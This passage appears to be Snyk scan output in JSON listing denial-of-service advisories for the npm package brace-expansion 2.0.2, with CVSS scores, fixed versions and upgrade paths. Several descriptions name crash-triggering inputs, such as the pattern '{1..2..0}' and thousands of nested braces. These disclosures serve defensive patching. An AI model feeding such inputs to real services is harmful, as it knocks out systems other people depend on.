"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
